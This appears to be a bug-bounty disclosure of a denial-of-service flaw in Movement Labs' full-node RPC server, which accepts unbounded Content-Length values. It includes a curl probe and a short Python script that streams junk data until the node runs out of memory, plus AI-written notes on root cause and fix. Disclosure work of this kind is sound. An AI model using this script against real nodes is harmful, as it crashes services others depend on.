Uncontrolled resource consumption is resulting in OOM via RPC (public one)
The public RPC server does not validate the Content-Length header or enforce size limits on incoming requests, allowing an attacker to send a request with an enormous declared length and then stream junk data until the node runs out of memory and crashes.
- Disclosed after under an hour
#42102 [BC-High] uncontrolled resource consumption is resulting in OOM via RPC (public one)
Submitted on Mar 20th 2025 at 20:04:06 UTC by @fnmain for Attackathon | Movement Labs
- Report ID: #42102
- Report Type: Blockchain/DLT
- Report severity: High
- Target: https://github.com/immunefi-team/attackathon-movement/tree/main/networks/movement/movement-full-node
- Impacts:
- RPC API crash affecting programs with greater than or equal to 25% of the market capitalization on top of the respective layer
Description
Brief/Intro
the API server do not check for size limits or stored data which means an attacker can just loop sending operation until it fills up the whole memory , note: the max size is capped at uint64_t max
Vulnerability Details
at the public RPC port the server do not validate the content length size which can lead to DoS (crash due OOM) since the attacker will need just to submit a request with a huge size and then looping a send with junk data until it consume all node memory .
Impact Details
oom , crash
References
Add any relevant links to documentation or code
Proof of Concept
Proof of Concept
as first step to verify the existence of the weakness you can execute curl 127.0.0.1:30731/v1/transactions -XPOST -H "Content-type: application/json" -H "Content-length: 1024102410241024" -v; echo you will see that the server is waiting for data even if the content length is non logical
python script to exploit it :
import socket
#curl 127.0.0.1:30731/v1/transactions -XPOST -H "Content-type: application/json" -H "Content-length: 1024102410241024" -v; echo
s=socket.socket()
s.connect(("127.0.0.1", 30731))
headers = [
"POST /v1/transactions HTTP/1.1",
"Host: 127.0.0.1:30731",
"User-Agent: dv1.0",
"Accept: */*",
"Content-Type: application/json",
"Content-Length: 18446744073709551613",
]
headers = "\r\n".join(headers)
req = f"{headers}\r\n\r\n"
s.send(req.encode())
#__import__("time").sleep(5)
ovbuf = "A"*1024*1024*100
try:
while True:
s.send(ovbuf.encode())
except:
print(s.recv(0x1024))
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the RPC server fails to enforce a maximum request body size and does not reject unrealistic Content-Length values, so it buffers unbounded data in memory.
Impact
An attacker could cause the RPC API to crash due to out-of-memory, disrupting services that rely on nodes with significant market capitalisation.
What the attacker needed
Network access to the public RPC port
The fix
The server should enforce a reasonable maximum request body size and reject requests with unrealistic Content-Length values.
How it was found
- Send a POST request to the transactions endpoint with an extremely large Content-Length header.
- Observe that the server waits for data despite the unrealistic length.
- Continuously send large chunks of junk data over the connection.
- The node consumes all available memory and crashes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web server normally checks how much data a client is sending before accepting it. Here, the server trusted a huge number in the request header and kept waiting for that much data, so an attacker could keep sending junk until the server ran out of memory and stopped working.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.